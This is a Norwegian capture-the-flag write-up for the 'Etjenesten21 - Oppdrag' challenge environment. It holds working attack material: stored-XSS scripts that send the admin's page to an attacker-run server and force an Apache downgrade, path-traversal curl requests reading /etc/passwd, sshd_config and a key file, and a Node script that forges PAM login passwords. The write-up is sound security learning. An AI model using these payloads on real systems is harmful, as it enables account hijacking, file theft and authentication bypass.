Home Etjenesten21 - Oppdrag
Post
Cancel

Etjenesten21 - Oppdrag

2.1_app

Vi får tildelt en .apk fil i lag med oppdragsteksten. Denne apk-filen kan vi unzippe for å få tilgang til filene som er brukt til å lage android appen. Inne blant filene finner vi to veldig interessante filer. Den ene filen er lokalisert i assets mappen, og er et tekstdokument some inneholder en url til en onion link. Den andre veldig interessant filen heter classes2.dex, og ved å reversere den med et tool som jadx finner vi følgende informasjon:

1
2
editor.putString("username", "user");
editor.putString("password", rot13("xxxxxxxx"));

Vi har funnet et brukernavn user med passordet xxxxxxxx (Legg merke til at passordet fra filen må tar rot13 med for å få passordet). Dette passordet er også 2.1-flagget. Vi lagrer denne innlogginsinformasjonen til senere.

2.2_blog_1

Vi har fått i oppdragsteksten utdelt en link til en blogg med url-en blog.utl. Denne linken er bare mulig å bruke via terminalen inne på ctf-miljøet, så vi prøver å curl-e til denne siden. curl "blog.utl". Responsen vi får tilbake vil redirecte oss til linken blog.utl/auth/login, så vi prøver å bruke curl på den linken. curl "blog.utl/auth/login". I meta-dataen til HTML-siden vi får tilbake ligger flagget. <meta name="FLAG_2.2" content="xxxxxxxx">

2.3_blog_2

For flagg 3 må vi beøke onion linken vi fant da vi lette etter flagg 1. Siden det er en .onion link må vi gå dit via browseren tor. Her får vi et innloggings-prompt hvor vi kan bruke innloggings-informasjonen til user som vi fant i classes2.dex.

Vi kommer inn på en blogg med diverse blogginnlegg. Ved å sjekke bloggens robots.txt finner vi følgende informasjon:

1
2
3
4
5
6
/auth/login
/auth/register
/logs

/admin
/admin/update

De tre øverste har vi tilgang til som user, men vi har ikke admin-privilegier, så vi har ikke tilgang til de to nederste. /logs inneholder informasjon om hva som er blitt gjort på nettstedet, men gjorde ikke noe spesielt mye nytte annet enn at man kunne se bevegelsene til admin som vi manipulerer snart.

/auth/login er hvor vi logget inn, og /auth/register var en registreringsside for nye brukere, men registreringen var slått av.

Etter mye leting og leking på nettsiden fant man ut at admin kommenterer på blogginnleggene man lager. I tillegg er XSS (Cross-site scripting) mulig å utføre på bloggen. Dette betyr at vi kan få kodesnutter til å kjøre på maskinen til andre som laster inn bloggen, som i dette tilfellet er admin, siden han kommenterer på innleggene våre. Vi kan dermed prøve å få aksess til /admin, som virker som er adminpanelet til siden.

Det var mye prøving og feiling for å få dette til å fungere. Den endelige løsningen endte opp med å lage et blogginnlegg med javasciptkode som kjører når admin laster inn siden. Scriptet får admin til å aksessere /admin (adminpanelet), og når admin har kildekoden til /admin nettsiden, få han til å sende en GET-request til en lokal python-server. HTML-koden blir sendt i url-en som han requester fra python-serveren, og vi har dermed kildekoden til adminpanelet (merk at HTML-koden er base64 enkodet når det ankommer serveren vår, så dette å dekodes først).

Scriptet ble seende slik ut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

s = requests.Session()
cookie = {"session": "eyJmbGFnIjoiMGEwZGZmZmRmYTdhN2U2ZDRhYzBhNGM1YWI0N2E1YjEiLCJ1c2VyX2lkIjoxNn0.Yb4jYQ.zIC4uLs8BbGY7jdKECjQHITekHk"}

script = """<script>
    xhr = new XMLHttpRequest();
    xhr.open("GET","/admin/");
    xhr.send();
    xhr.onload = function(){
         request = new XMLHttpRequest();
         request.open("GET", "http://<ip_addr_pythonserver>:<port>/"+encodeURI(xhr.responseText), true);
         request.send();
}    
</script>"""

blogpost = {"title": "Mission Plan", "body": script}
res = s.post("http://blog.utl/create", data=blogpost, cookies=cookie)
s.close()

I HTML-koden finner vi flagget <h1> FLAG: xxxxxxxx </h1>

2.4_webserver_1

I HTML-koden vi får fra admin finner vi følgende interessante kodesnutt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<form action="/admin/update" method="post">
    <label for="service">Service:</label>
    <select name="service" class="selectpicker form-control">

      <option value="apache">anvilshop.utl ( apache )</option>

    </select>

    <label for="version">Version</label>
    <select name="version" class="selectpicker form-control">

        <option value="2.4.51">2.4.51</option>
        <option value="2.4.49">2.4.49</option>

    </select>
    <input class="btn" type="submit" value="Update">
  </form>

Det ser ut som om at admin kan endre apache-versjonen som nettsiden anvilshop.utl bruker. Dette er en nettside vi også fikk vite om i oppdragsteksten, og som bruker Apache 2.4.51. Apache 2.4.49 er kjent for å være vulnerable for path-traversal attack og mulig RCE (Remote Code Execution), så dette er en versjon vi heller vil ha enn 2.4.51 (som ikke er vulnerable for disse angrepene).

Vi har fortsatt ikke tilgang selv til /admin/update, men vi kan få admin til å endre versjonsnummeret til serveren for oss med samme XSS-exploit som flagg 3, bare med annen payload i selve scriptet.

Her trenger vi ikke noen kjørende server for å få responsen fra admin, ettersom vi kan se i HTML-koden at det bare sendes en POST-request til /admin/update for å endre server-versjonen.

XSS-scriptet som fikk æren av å utføre dette ble seende slik ut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

s = requests.Session()
cookie = {"session": "eyJmbGFnIjoiMGEwZGZmZmRmYTdhN2U2ZDRhYzBhNGM1YWI0N2E1YjEiLCJ1c2VyX2lkIjoxNn0.Yb4jYQ.zIC4uLs8BbGY7jdKECjQHITekHk"}

script = """<script>
    xhr = new XMLHttpRequest();
    xhr.open("POST","/admin/update", true);
    xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
    xhr.send("service=apache&version=2.4.49");
</script>"""

blogpost = {"title": "Mission Plan", "body": script}
res = s.post("http://blog.utl/create", data=blogpost, cookies=cookie)
s.close()

Etter at vi har negradert versjonen til apache-serveren finner vi flagget i meta-tagen til responsen fra nettsiden. curl "anvilshop.utl" <meta name="flag" content="xxxxxxxx">

2.5_webserver_2

Vi har fått vite om et endpoint for anvilshop-nettstedet som brukes i denne oppgaven: anvilshop.utl/cgi-bin/lootd.v2/download?app.apk. Dette endpointet (cgi-bin) kan man også finne ved å se i robots.txt for nettstedet.

Nå som vi har nedgradert apache-versjonen kan vi prøve å bruke path-traversal, og RCE. Etterhvert vil det vise seg at RCE ikke er mulig grunnet konfigueringen av apache-serveren (en cgi-modul som ikke brukes, som visstnok skal være nødvending for RCE til å fungere). Path-traversal er derimot mulig, og vi kan f.eks ta en kikk på /etc/passwd curl "anvilshop.utl/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd". Helt nederst i /etc/passwd finner vi flagg 5.

Man kan finne flagg 5 på to andre måter i tillegg:

  • curl "anvilshop.utl/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/ssh/sshd_config"
  • curl "anvilshop.utl/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/apache2/httpd.conf"

2.9_pam

Denne oppgaven tok unødvendig lang tid. Jeg prøvde først å implementere koden under i C, men en liten feil i scriptet gjorde at det scriptet ikke funket. Det var derimot mye enklere å bruke javascript for å løse denne oppgaven.

Hvis man kjører en nmap-scan på anvilshop vil man kunne se at i tillegg til at port 80 er åpen (som er apache-serveren), så er port 22 også åpen (ssh-port).

Hvis man prøver å logge seg inn på ssh-porten med brukeren user, ssh user@anvilshop.utl får man responsen Challenge [t=<epoch_time>]:(for eksempel kan epoch_time være 1642362069). Dette var noe av det første jeg fant i oppdraget, men da hadde jeg ikke tilgang til “backend” så jeg kunne ikke se hvordan man skulle logge inn.

For å løse denne trenger man å finne sshd_config fila fra 2.5, som inneholder:

1
2
3
4
5
6
AuthenticationMethods keyboard-interactive:pam #/lib/security/pam_custom.so
ChallengeResponseAuthentication yes
PermitRootLogin no
UsePAM yes
PasswordAuthentication no
# FLAGG: xxxxxxxx

Her refereres det til PAM (som er en slags alternativ måte å autentisere innlogginger på, som et slags passord. Denne krever at man kjenner til passordet og krypteringsmåten, og så er selve innloggingspassordet den krypterte versjonen). Vi kan laste ned denne pam_custom.so fila, og reversere den med ghidra for å finne ut hvordan den fungerer, og hva den gjør.

Når man reverserer fila finner man en del interessante funksjoner. Den mest interessante heter get_expected_response. Grunnen til at denne er interessant er fordi vi i en annen funksjon (challenge_response_authenticate) har denne koden:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
local_150 = time((time_t *)0x0);
iVar1 = snprintf((char *)&local_98,0x80,"Challenge [t=%zu]: ",local_150);
local_148 = SEXT48(iVar1);
if (local_148 < 0x80) {
  iVar1 = snprintf((char *)&local_118,0x80,"username=%s:timestamp=%zu",param_2,local_150);
  local_140 = SEXT48(iVar1);
  if (local_140 < 0x80) {
    iVar1 = get_expected_response(&local_118,local_140,&local_138,&local_160);
    if (iVar1 == 0) {
      iVar1 = perform_chall_resp_conv(param_1,&local_98,&local_158,&local_98);
      if (iVar1 == 0) {
        iVar1 = strcmp(*local_158,local_160);
        if (iVar1 == 0) {
          local_164 = 0;
        }

Det denne koden gjør er å hente epoch tiden (antall sekunder siden 1970), og putter det inn i strengen "username=user:timestamp=<epoch_time>“(username=user fordi vi prøver å logge inn som “user”), og krypterer denne tekststrengen i get_expected_response. Så sammenligner den den forventede responsen med det vi skriver inn som passord, og hvis vi skriver korrekt får vi logget inn til maskinen.

Hvis vi klarer å finne hva get_expected_response returnerer har vi passordet til brukeren for innloggingen (siden det brukes epoch-tid vil passordet være annerledes hver gang). Ghidra viser dette for funksjonen:

pam

Det brukes et sodium bibliotek for krypteringen, som vi også har tilgang til i blant annet javascript. Vi ser også at det trengs en key som den henter fra /tmp/keyfile, denne keyen kan vi hente ut med path-traversalen fra flagg 5. curl "anvilshop.utl/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/tmp/keyfile". Vi kan da lage et script som lager passordet for oss (innholdet fra keyfile er skrevet direkte inn i sciptet):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var sodium = require('sodium-native')
const readline = require('readline').createInterface({
  input: process.stdin,
  output: process.stdout
});
readline.question('Time: ', time => {
  var nonce = Buffer.alloc(sodium.crypto_secretbox_NONCEBYTES)
  var message = Buffer.from(`username=user:timestamp=${time}`)
  var ciphertext = Buffer.alloc(message.length + 0x10)
  var key = Buffer.from("6047ed1d2246dd7223946e61a3b3ade031e7bfd44e3fb02cd9ea492484f711bb", "hex")

  sodium.crypto_secretbox_easy(ciphertext, message, nonce, key)
  console.log('Password:', ciphertext.toString('hex'))
  readline.close();
});

2.10_workstation

Inne på user-maskinen, i home-directoriet til user, ligger det et .ssh directory som er verdt å se i. Inni denne mappa ligger nemlig følgende filer:

  • authorized_keys
  • config

Førstnevte er tom, men config inneholder informasjonen:

1
2
3
Host workstation
    Hostname workstation.anvilshop.utl
    User user

Det finnes altså en maskin til som user har aksess til. Vi prøver å logge oss inn på denne maskinen ssh user@workstation.anvilshop.utl, og blir møtt med samme pam-innlogging som da vi fant flagg 9.

Når vi er loggget inn på maskinen finner vi flagget i filen FLAG i home-directoriet til user.

Skjulte Flagg

4.1_corax_dev_shm

Dette skjulte flagget lå i /dev/shm/ mappa i ei fil med navnet .secret.

4.2_blog_hidden_message

Dette flagget lå i ett av blogginnleggene inne på bloggen. Ett innlegge hadde kapitalisering av bokstaver midt i setninger, og stavet ordet ETTERRETNING

4.3_jwt_hidden_flag

Dette flagget lå også inne på bloggen. FLagget lå i den base64-enkodet JWT-tokenen til brukeren man var innlogget som (JWT-token er kort forklart en type cookie).

1
2
3
JWT-token: eyJmbGFnIjoiMGEwZGZmZmRmYTdhN2U2ZDRhYzBhNGM1YWI0N2E1YjEiLCJ1c2VyX2lkIjoxNn0.Yb4jYQ.zIC4uLs8BbGY7jdKECjQHITekHk

{"flag":"0a0dfffdfa7a7e6d4ac0a4c5ab47a5b1","user_id":16}...

4.5_workstation_emacs_flag

Flagget lå i home-directoriet til user, som man logget seg inn som. Selve flagget lå i ~/.emacs.d/ i filen init.el. (defvar *noise* "ETJ{GNU TULLER DU VEL?\!🕵}")

This post is licensed under CC BY 4.0 by the author.